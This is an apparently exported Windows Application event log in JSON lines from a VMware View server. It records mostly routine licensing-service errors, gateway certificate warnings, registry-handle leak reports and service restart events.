{"@timestamp":1646841482374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167468}}
{"@timestamp":1646841512379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167469}}
{"@timestamp":1646841542385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167470}}
{"@timestamp":1646841572395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167471}}
{"@timestamp":1646841602489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167472}}
{"@timestamp":1646841632691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167473}}
{"@timestamp":1646841662702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167474}}
{"@timestamp":1646841693900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167475}}
{"@timestamp":1646841723906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167476}}
{"@timestamp":1646841753912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167477}}
{"@timestamp":1646841756415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SECURE_GATEWAY_CERT_NOTVALID\nCertificate is invalid for Secure Gateway at address ENG-VIEWSRV401\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSecurityServerId=ENG-VIEWSRV401\n\tSeverity=ERROR\n\tTime=Wed Mar 09 17:02:36 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.j\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167478}}
{"@timestamp":1646841756419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SECURE_GATEWAY_CERT_EXPIRY_WARNING\nCertificate will expire shortly for Secure Gateway at address ENG-VIEWSRV402\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSecurityServerId=ENG-VIEWSRV402\n\tSeverity=WARNING\n\tTime=Wed Mar 09 17:02:36 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.j\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":167479}}
{"@timestamp":1646841783921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167480}}
{"@timestamp":1646841813929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167481}}
{"@timestamp":1646841843933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167482}}
{"@timestamp":1646841873940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167483}}
{"@timestamp":1646841903944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167484}}
{"@timestamp":1646841933948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167485}}
{"@timestamp":1646841956173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4283","8024401c","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","ccd480e4-9fc2-11ec-b818-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167486}}
{"@timestamp":1646841963952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167487}}
{"@timestamp":1646841993956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167488}}
{"@timestamp":1646842020060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":6001,"custom_data":{"EventData":{"Binary":"22050000","Data":{"#text":["Sens"]}}},"module":"Application","provider":"Microsoft-Windows-Winlogon","sequence":167489}}
{"@timestamp":1646842020144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"31 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192:\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\CA\nProcess 716 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Parents\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\CommsAPHost\\Test\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\CommsAPHost\\Test\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\trust\nProcess 716 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\nProcess 1012 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\TrustedPeople\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\FeatureControl\nProcess 1976 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\DataCollection\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\ActiveSync\\JobDispatcher\\JobRegistry\\1.1\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\ActiveSync\\Partners\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Main\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\Root\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\Disallowed\nProcess 716 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Children\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\nProcess 1136 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\SystemCertificates\\SmartCardRoot\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167490}}
{"@timestamp":1646842020177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"2 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes:\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes\nProcess 2236 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192_Classes\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167491}}
{"@timestamp":1646842023961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167492}}
{"@timestamp":1646842623418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":260,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167493}}
{"@timestamp":1646842623419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":272,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167494}}
{"@timestamp":1646842623430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":108,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":167495}}
{"@timestamp":1646842624969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":3,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Traps"]}}},"module":"Application","provider":"Traps","sequence":167496}}
{"@timestamp":1646842625060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8225,"custom_data":{"EventData":{"Binary":"2D20436F64653A2020434F525356434330303030303735382D2043616C6C3A2020434F525356434330303030303734322D205049443A202030303030313637362D205449443A202030303030313730382D20434D443A2020433A5C57696E646F77735C73797374656D33325C76737376632E6578652020202D20557365723A204E616D653A204E5420415554484F524954595C53595354454D2C205349443A532D312D352D313820","Data":{"#text":[""]}}},"module":"Application","provider":"VSS","sequence":167497}}
{"@timestamp":1646842625061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","SHUTDOWN"]}}},"module":"Application","provider":"nssm","sequence":167498}}
{"@timestamp":1646842625062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1011,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167499}}
{"@timestamp":1646842625236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1532,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167500}}
{"@timestamp":1646842651746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4625,"custom_data":{"EventData":{"param1":"86400","param2":"SuppressDuplicateDuration","param3":"Software\\Microsoft\\EventSystem\\EventLog"}},"module":"Application","provider":"Microsoft-Windows-EventSystem","sequence":167501}}
{"@timestamp":1646842651826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1531,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":167502}}
{"@timestamp":1646842652330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5615,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":167503}}
{"@timestamp":1646842653215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":167504}}
{"@timestamp":1646842654036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5617,"custom_data":{"EventData":null},"module":"Application","provider":"Microsoft-Windows-WMI","sequence":167505}}
{"@timestamp":1646842660231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":258,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167506}}
{"@timestamp":1646842661528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":781,"custom_data":{"EventData":{"param1":"86400","param2":"SuppressDuplicateDuration","param3":"Software\\Microsoft\\COM3\\Eventlog"}},"module":"Application","provider":"Microsoft-Windows-Complus","sequence":167507}}
{"@timestamp":1646842661621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":271,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":167508}}
{"@timestamp":1646842667622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4202,"custom_data":{"EventData":{"param1":"0","param10":"0","param11":"0","param12":"1","param2":"0","param3":"0","param4":"0","param5":"0","param6":"0","param7":"1","param8":"Mutual Authentication Required","param9":"NT AUTHORITY\\NetworkService"}},"module":"Application","provider":"Microsoft-Windows-MSDTC 2","sequence":167509}}
{"@timestamp":1646842671887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Traps"]}}},"module":"Application","provider":"Traps","sequence":167510}}
{"@timestamp":1646842734798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","START"]}}},"module":"Application","provider":"nssm","sequence":167511}}
{"@timestamp":1646842735282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167512}}
{"@timestamp":1646842735282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167513}}
{"@timestamp":1646842737860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167514}}
{"@timestamp":1646842790265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":900,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["<none>"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167515}}
{"@timestamp":1646842792984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1066,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Windows\\system32\\sppwinob.dll, msft:spp/windowsfunctionality/agent/7.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/inherited/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/phone/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/pkey/detect, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/ActionScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/TaskScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/statecollector/pkey, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/activationinfo/1.0, 0x00000000, 0x00000000\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167516}}
{"@timestamp":1646842794343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["XrML 2.1 License - Product Key Configuration","06a4dd30-84b7-4fd2-b859-f1eddb0858f5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167517}}
{"@timestamp":1646842794656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167518}}
{"@timestamp":1646842794656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167519}}
{"@timestamp":1646842794656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167520}}
{"@timestamp":1646842794687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 0 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259134)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167521}}
{"@timestamp":1646842794718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":902,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["10.0.14393.4886"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167522}}
{"@timestamp":1646842807939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167523}}
{"@timestamp":1646842808057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167524}}
{"@timestamp":1646842824781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167525}}
{"@timestamp":1646842859343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8224,"custom_data":{"EventData":{"Binary":"2D20436F64653A2020434F525356434330303030303736302D2043616C6C3A2020434F525356434330303030303734322D205049443A202030303030333938382D205449443A202030303030333536342D20434D443A2020433A5C57696E646F77735C73797374656D33325C76737376632E6578652020202D20557365723A204E616D653A204E5420415554484F524954595C53595354454D2C205349443A532D312D352D313820","Data":{"#text":[""]}}},"module":"Application","provider":"VSS","sequence":167526}}
{"@timestamp":1646842914694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167527}}
{"@timestamp":1646842914796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":167528}}
